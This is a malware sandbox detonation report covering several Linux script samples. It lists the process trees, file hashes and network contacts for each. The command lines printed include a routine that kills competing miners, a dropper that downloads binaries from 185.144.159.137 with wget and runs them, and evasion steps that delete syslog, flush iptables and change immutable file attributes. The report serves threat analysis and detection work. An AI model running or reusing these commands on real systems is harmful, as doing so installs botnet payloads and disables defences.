/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep :6666]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk {print $7}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep :6665]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :6667]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :7777]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :8444]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :3347]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :14444]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :14433]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :13531]

/bin/sed

[sed -i s/^0// /tmp/.X11-unix/01]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.X11-unix/01]

/bin/sed

[sed -i s/^0// /tmp/.X11-unix/11]

/bin/cat

[cat /tmp/.X11-unix/11]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/sed

[sed -i s/^0// /tmp/.X11-unix/22]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.X11-unix/22]

/bin/sed

[sed -i s/^0// /tmp/.systemd.1]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.systemd.1]

/bin/sed

[sed -i s/^0// /tmp/.systemd.2]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.systemd.2]

/bin/sed

[sed -i s/^0// /tmp/.systemd.3]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.systemd.3]

/bin/cat

[cat /tmp/.systemd.1]

/bin/cat

[cat /tmp/.systemd.2]

/bin/cat

[cat /tmp/.systemd.3]

/bin/sed

[sed -i s/^0// /tmp/.pg_stat.0]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.pg_stat.0]

/bin/sed

[sed -i s/^0// /tmp/.pg_stat.1]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.pg_stat.1]

/bin/sed

[sed -i s/^0// /data/./oka.pid]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /data/./oka.pid]

/usr/bin/pkill

[pkill -f 80.211.206.105]

/usr/bin/pkill

[pkill -f 207.38.87.6]

/usr/bin/pkill

[pkill -f p8444]

/usr/bin/pkill

[pkill -f supportxmr]

/usr/bin/pkill

[pkill -f monero]

/usr/bin/pkill

[pkill -f zsvc]

/usr/bin/pkill

[pkill -f pdefenderd]

/usr/bin/pkill

[pkill -f updatecheckerd]

/usr/bin/pkill

[pkill -f cruner]

/usr/bin/pkill

[pkill -f dbused]

/usr/bin/pkill

[pkill -f bashirc]

/usr/bin/pkill

[pkill -f meminitsrv]

/usr/bin/pkill

[pkill -f kthreaddi]

/usr/bin/pkill

[pkill -f srv00]

/usr/bin/pkill

[pkill -f /tmp/.javae/javae]

/usr/bin/pkill

[pkill -f .javae]

/usr/bin/pkill

[pkill -f .syna]

/usr/bin/pkill

[pkill -f .main]

/usr/bin/pkill

[pkill -f xmm]

/usr/bin/pkill

[pkill -f solr.sh]

/usr/bin/pkill

[pkill -f /tmp/.solr/solrd]

/usr/bin/pkill

[pkill -f /tmp/javac]

/usr/bin/pkill

[pkill -f /tmp/.go.sh]

/usr/bin/pkill

[pkill -f /tmp/.x/agetty]

/usr/bin/pkill

[pkill -f /tmp/.x/kworker]

/usr/bin/pkill

[pkill -f c3pool]

/usr/bin/pkill

[pkill -f /tmp/.X11-unix/gitag-ssh]

/usr/bin/pkill

[pkill -f /tmp/1]

/usr/bin/pkill

[pkill -f /tmp/okk.sh]

/usr/bin/pkill

[pkill -f /tmp/gitaly]

/usr/bin/pkill

[pkill -f /tmp/.x/kworker]

/usr/bin/pkill

[pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB]

/usr/bin/pkill

[pkill -f /tmp/.X11-unix/supervise]

/usr/bin/pkill

[pkill -f /tmp/.ssh/redis.sh]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep ./udp]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep ./oka]

/bin/ps

[ps aux]

/bin/grep

[grep -v grep]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep postgres: autovacum]

/bin/ps

[ps aux]

/bin/grep

[grep -v postgres]

/bin/grep

[grep -v proxymap]

/bin/grep

[grep -v php-fpm]

/bin/grep

[grep -v postgrey]

/bin/grep

[grep -v (]

/bin/grep

[grep -v \[]

/bin/grep

[grep -v kinsing]

/bin/grep

[grep -v bin]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk length($1) == 8]

/bin/ps

[ps ax -o command,pid -www]

/bin/grep

[grep -v postgres]

/bin/grep

[grep -v proxymap]

/bin/grep

[grep -v php-fpm]

/bin/grep

[grep -v postgrey]

/bin/grep

[grep -v (]

/bin/grep

[grep -v \[]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v bin]

/usr/bin/awk

[awk length($1) == 16]

/bin/ps

[ps ax -o command,pid -www]

/bin/grep

[grep -v postgres]

/bin/grep

[grep -v php-fpm]

/bin/grep

[grep -v proxymap]

/bin/grep

[grep -v postgrey]

/bin/grep

[grep -v (]

/usr/bin/awk

[awk {print $1}]

/bin/grep

[grep -v \[]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v bin]

/usr/bin/awk

[awk length($5) == 8]

/bin/ps

[ps ax]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep /tmp/sscks]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep sleep 60]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep ./crun]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {if($3>80.0) print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep -vw kdevtmpfsi]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep :3333]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep :5555]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/bin/grep

[grep kworker -c\]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep log_]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep systemten]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep netns]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/local/sbin/kill

[kill -9 10]

/usr/local/bin/kill

[kill -9 10]

/usr/sbin/kill

[kill -9 10]

/usr/bin/kill

[kill -9 10]

/sbin/kill

[kill -9 10]

/bin/kill

[kill -9 10]

/bin/grep

[grep voltuned]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/bin/grep

[grep -v grep]

/bin/grep

[grep darwin]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep /tmp/dl]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep /tmp/ddg]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep /tmp/pprt]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep /tmp/ppol]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep /tmp/65ccE*]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep /tmp/jmx*]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/bin/grep

[grep /tmp/2Ne80*]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/bin/grep

[grep IOFoqIgyC0zmf2UR]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep 45.76.122.92]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep 51.38.191.178]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep 51.15.56.161]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep 86s.jpg]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/bin/grep

[grep aGTSGJJp]

/bin/grep

[grep nMrfmnRa]

/bin/grep

[grep -v grep]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/bin/grep

[grep PuNY5tm2]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep I0r8Jyyt]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep AgdgACUD]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep uiZvwxG8]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep hahwNEdB]

/bin/grep

[grep -v grep]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep BtwXn5qH]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep 3XEzey2T]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep t2tKrCSZ]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep HD7fcBgg]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep zXcDajSs]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep 3lmigMo]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep AkMK4A2]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep AJ2AkKe]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep HiPxCJRS]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep http_0xCC030]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep http_0xCC031]

/bin/ps

[ps aux]

/bin/grep

[grep -v grep]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep http_0xCC032]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep http_0xCC033]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep C4iLM4L]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep aziplcr72qjhzvin]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk { if(substr($11,1,2)=="./" && substr($12,1,2)=="./") print $2 }]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep /boot/vmlinuz]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep i4b503a52cc5]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep dgqtrcst23rtdi3ldqk322j2]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep 2g0uv7npuhrlatd]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep nqscheduler]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep rkebbwgqpl4npmm]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk $3>10.0{print $2}]

/bin/grep

[grep ]]

/bin/grep

[grep -v aux]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep 2fhtu70teuhtoh78jc5s]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep 0kwti6ut420t]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep 44ct7udt0patws3agkdfqnjm]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/bin/grep

[grep -v -]

/bin/grep

[grep -v _]

/bin/grep

[grep -v /]

/usr/bin/awk

[awk length($11)>19{print $2}]

/bin/grep

[grep -v grep]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep \[^]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep rsync]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep watchd0g]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/bin/egrep

[egrep wnTKYg|2t3ik|qW3xT.2|ddg]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/local/sbin/grep

[grep -E wnTKYg|2t3ik|qW3xT.2|ddg]

/usr/local/bin/grep

[grep -E wnTKYg|2t3ik|qW3xT.2|ddg]

/usr/sbin/grep

[grep -E wnTKYg|2t3ik|qW3xT.2|ddg]

/usr/bin/grep

[grep -E wnTKYg|2t3ik|qW3xT.2|ddg]

Network

N/A

Files

/tmp/log_rot

MD5 727479ef7cedf30c03459bec7d87b0f0
SHA1 2082e7f715f058acab2398d25d135cf5f4c0ce41
SHA256 29872037c9573567744ef10ed2de57864ded7554c9fa2ef03fc1244c65794ba6
SHA512 4cb59d37f8481f9bb2745f494baa0910a68aad40ac2903ef1513547e091e1e772a5f9436f789ab91fcafb75b8a28c2112ede89004be41f33c01d936b542ca6ba

/var/spool/cron/crontabs/tmp.L1WUvM

MD5 84e97aab76686ae611acaf87733cea70
SHA1 1f1d1f0b4f513efb8cdf5a6bf9f844400254dde3
SHA256 fba36e3d1586e79f514db4416370ead0897d96b176c85360ea786565243cb87b
SHA512 199dd8d651eb5c8940e5d211ee28a6c534d9f3872188339d970486458c8367a918e7a9f346f8b22b1a34ee3b83c48cf443b4e5b0cf7188941e1165e7a921dfa6

/var/spool/cron/crontabs/tmp.s2HeTe

MD5 e65b6b98e3d0e5076d7cc077652bfb97
SHA1 12b573d73316a58c6050113c925bb756eb6b840c
SHA256 e903349ee29bc65bab9476751f7faad01226a93189dafce8df1fd63c501239a1
SHA512 b1a707c4490c4faa3062a3d925a2beaba53e01d7edf3695559d7ce12ac83420c152b3891eafdcf895af0cf362119a5f24a48a34b99aa334f122bfd19eae44103

/var/spool/cron/crontabs/tmp.pmoqEl

MD5 c8c1be0c5b9312ee05647db02a2e8163
SHA1 41f34dcc2571207ccc60fb94c8fed2d4ecfa4b22
SHA256 89ea38c488cfef731ff39e1ef27e275c2c923dfdeb74bda4e038b209cbf51958
SHA512 1cff299346f72f3fe8a68de8509b602c8fd26f489a47a44a403c7777c9727e19e8c41f579a18a696bad4f49f06a95c91e44e65c149f57e5ddc29d50aee463c26

/var/spool/cron/crontabs/tmp.uyjpji

MD5 4c5e7620e973cf60dae27c71865809db
SHA1 5b410641d7c5f96a56a967749c7ead3557b0568a
SHA256 49d8b9160aae40ce717117bf043afba2ef9f073ac2c0a727040ac7ce860c7c4e
SHA512 c10612b6c12077caf29282913b5a77e0936b3ac0d457de00422fb46cbdabe1f615cb2f9f212c53ae2401b2681068d8d72d94fc409a43ef8f8aa61043b867db74

Analysis: behavioral32

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:09

Platform

debian9-mipsel-20240418-en

Max time kernel

49s

Max time network

52s

Command Line

[/tmp/script_malware/SnOoPy.sh]

Signatures

File and Directory Permissions Modification

defense_evasion
Description Indicator Process Target
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/SnOoPy.sh N/A

Processes

/tmp/script_malware/SnOoPy.sh

[/tmp/script_malware/SnOoPy.sh]

/usr/bin/wget

[wget http://185.144.159.137/m-i.p-s.SNOOPY]

/bin/chmod

[chmod +x m-i.p-s.SNOOPY]

/tmp/m-i.p-s.SNOOPY

[./m-i.p-s.SNOOPY]

/bin/rm

[rm -rf m-i.p-s.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/m-p.s-l.SNOOPY]

/bin/chmod

[chmod +x m-p.s-l.SNOOPY]

/tmp/m-p.s-l.SNOOPY

[./m-p.s-l.SNOOPY]

/bin/rm

[rm -rf m-p.s-l.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/s-h.4-.SNOOPY]

/bin/chmod

[chmod +x s-h.4-.SNOOPY]

/tmp/s-h.4-.SNOOPY

[./s-h.4-.SNOOPY]

/bin/rm

[rm -rf s-h.4-.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/x-8.6-.SNOOPY]

/bin/chmod

[chmod +x x-8.6-.SNOOPY]

/tmp/x-8.6-.SNOOPY

[./x-8.6-.SNOOPY]

/bin/rm

[rm -rf x-8.6-.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/a-r.m-6.SNOOPY]

/bin/chmod

[chmod +x a-r.m-6.SNOOPY]

/tmp/a-r.m-6.SNOOPY

[./a-r.m-6.SNOOPY]

/bin/rm

[rm -rf a-r.m-6.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/x-3.2-.SNOOPY]

/bin/chmod

[chmod +x x-3.2-.SNOOPY]

/tmp/x-3.2-.SNOOPY

[./x-3.2-.SNOOPY]

/bin/rm

[rm -rf x-3.2-.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/a-r.m-7.SNOOPY]

/bin/chmod

[chmod +x a-r.m-7.SNOOPY]

/tmp/a-r.m-7.SNOOPY

[./a-r.m-7.SNOOPY]

/bin/rm

[rm -rf a-r.m-7.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/p-p.c-.SNOOPY]

/bin/chmod

[chmod +x p-p.c-.SNOOPY]

/tmp/p-p.c-.SNOOPY

[./p-p.c-.SNOOPY]

/bin/rm

[rm -rf p-p.c-.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/i-5.8-6.SNOOPY]

/bin/chmod

[chmod +x i-5.8-6.SNOOPY]

/tmp/i-5.8-6.SNOOPY

[./i-5.8-6.SNOOPY]

/bin/rm

[rm -rf i-5.8-6.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/m-6.8-k.SNOOPY]

/bin/chmod

[chmod +x m-6.8-k.SNOOPY]

/tmp/m-6.8-k.SNOOPY

[./m-6.8-k.SNOOPY]

/bin/rm

[rm -rf m-6.8-k.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/p-p.c-.SNOOPY]

/bin/chmod

[chmod +x p-p.c-.SNOOPY]

/tmp/p-p.c-.SNOOPY

[./p-p.c-.SNOOPY]

/bin/rm

[rm -rf p-p.c-.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/a-r.m-4.SNOOPY]

/bin/chmod

[chmod +x a-r.m-4.SNOOPY]

/tmp/a-r.m-4.SNOOPY

[./a-r.m-4.SNOOPY]

/bin/rm

[rm -rf a-r.m-4.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/a-r.m-5.SNOOPY]

/bin/chmod

[chmod +x a-r.m-5.SNOOPY]

/tmp/a-r.m-5.SNOOPY

[./a-r.m-5.SNOOPY]

/bin/rm

[rm -rf a-r.m-5.SNOOPY]

Network

Country Destination Domain Proto
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp

Files

N/A

Analysis: behavioral19

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:06

Platform

ubuntu1804-amd64-20240729-en

Max time kernel

0s

Command Line

[/tmp/script_malware/404]

Signatures

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/404 N/A

Processes

/tmp/script_malware/404

[/tmp/script_malware/404]

Network

N/A

Files

N/A

Analysis: behavioral6

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:09

Platform

debian9-armhf-20240418-en

Max time kernel

10s

Command Line

[/tmp/script_malware/1.sh]

Signatures

Deletes system logs

evasion
Description Indicator Process Target
File deleted /var/log/syslog /bin/rm N/A

Flushes firewall rules

defense_evasion
Description Indicator Process Target
N/A N/A /sbin/iptables N/A

Abuse Elevation Control Mechanism: Sudo and Sudo Caching

privilege_escalation defense_evasion
Description Indicator Process Target
N/A N/A /usr/bin/sudo N/A

Attempts to change immutable files

Description Indicator Process Target
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/chattr N/A

Reads runtime system information

discovery
Description Indicator Process Target
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/21 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/152 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/161 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/10 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/138 /bin/ls N/A
File opened for reading /proc/14 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/sys/kernel/ngroups_max /usr/bin/sudo N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/16 /bin/ls N/A
File opened for reading /proc/filesystems /usr/sbin/userdel N/A
File opened for reading /proc/12 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/2 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/103 /bin/ls N/A
File opened for reading /proc/223 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/11 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/13 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/22 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/filesystems /usr/sbin/userdel N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/self/stat /usr/bin/sudo N/A
File opened for reading /proc/24 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/142 /bin/ls N/A
File opened for reading /proc/17 /bin/ls N/A
File opened for reading /proc/20 /bin/ls N/A
File opened for reading /proc/filesystems /bin/ls N/A
